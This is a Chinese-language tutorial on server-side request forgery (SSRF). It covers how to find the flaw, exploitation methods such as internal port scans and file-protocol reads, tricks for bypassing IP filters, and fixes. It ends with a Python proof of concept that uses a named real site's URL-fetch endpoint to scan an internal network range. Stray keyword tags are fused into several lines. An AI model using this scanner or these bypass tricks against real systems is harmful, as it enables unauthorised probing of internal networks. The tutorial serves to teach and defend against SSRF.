SSRFphp
SSRF(服務請求僞造)是一種由攻擊者構造造成由服務器端發起請求的一個安全漏洞,它將一個能夠發起網絡請求
的服務看成跳板來攻擊其餘服務器,SSRF的攻擊目標通常是內網。
當服務器提供了從其餘服務器獲取數據的功能(如:從指定URL地址獲取網頁文本內容、加載指定地址的圖片,下
載等),可是沒有對目標地址作過濾與限制時就會出現SSRF。 html
SSRF的危害python
能夠掃描內部網絡
能夠構造數據攻擊內部主機 web
漏洞挖掘sql
其實只要能對外發起網絡請求就有可能存在SSRF漏洞
1.從WEB功能上尋找
經過URL分享內容
文本處理、編碼處理、轉碼等服務
在線翻譯
經過URL地址加載與下載圖片
圖片、文章的收藏
設置郵件接收服務器
2.從URL關鍵字尋找
share、wap、url、link、src、source、target、u、3g、display、sourceURL、domain...瀏覽器
3.burpsuite插件自動化檢測ssrf漏洞安全
漏洞驗證服務器
http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
網絡
1.右鍵在新窗口中打開圖片,若瀏覽器上URL地址爲http://www.baidu.com/img/bd_logo1.png
說明不存在SSRF漏洞。
2.firebug看網絡鏈接信息,若沒有http://www.baidu.com/img/bd_logo1.png這個圖片請求。
則證實圖片是豆瓣服務器端發起的請求,則可能存在SSRF漏洞。dom
找存在HTTP服務的內網地址:
1.從漏洞平臺中的歷史漏洞尋找泄露的存在web應用內網地址。
2.經過二級域名暴力猜想工具模糊猜想內網地址。
漏洞利用放式
1.能夠對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner信息。
2.攻擊運行在內網或本地的應用程序(好比溢出)。
3.對內網web應用進行指紋識別,經過訪問默認文件實現。
4.攻擊內外網的web應用,主要是使用get參數就能夠實現的攻擊(好比struct2,sqli等)
5.利用file協議讀取本地文件等。
繞過過濾
有時漏洞利用時會遇到IP限制,可用以下方法繞過:
*使用@:http://A.com@10.10.10.10 = 10.10.10.10
*IP地址轉換成十進制、八進制:127.0.0.1 = 2130706433
*使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
*端口繞過:IP後面加一個端口
*xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
*經過js跳轉
通用的SSRF實例
*weblogin配置不當,天生ssrf漏洞
*discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
*CVE-2016-1897/8 - FFMpeg
*CVE-2016-3718 - ImageMagick
修復方案
1.過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。
若是web應用是去獲取某一種類型的文件。那麼在把返回結果展現給用戶以前先驗證返回的信息是否符合標準
2.統一錯誤信息,避免用戶能夠根據錯誤信息來判斷遠端服務器的端口狀態。
3.限制請求的端口爲http經常使用的端口,好比,80,443,8080,8090
4.黑名單內網IP,避免應用被用來獲取內網數據,攻擊內網。
5.禁用不須要的協議,僅僅容許http和https請求。
附POC
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import requests from IPy import IP import Queue import threading def get_url_queue(): url = "http://www.sogou.com/reventondc/external?key=&objid=&type=2&charset=utf-8&url=http://" urllist = Queue.Queue() ip_list = IP('10.146.20.0/24') port_list = ['80','8000','8080'] for ip_add in ip_list: ip_add = str(ip_add) for port in port_list: url_t = url + ip_add + ':' + port urllist.put(url_t) return urllist def get_title(urllist): while not urllist.empty(): url = urllist.get() html = requests.get(url).text patt = r'<title>(.*?)</title>' m = re.search(patt,html) if m: title = m.group(1) print "%s\t%s" % (url,title) urllist = get_url_queue() print "start get title..." for x in xrange(1,30): t = threading.Thread(target=get_title,args=(urllist,)) t.start()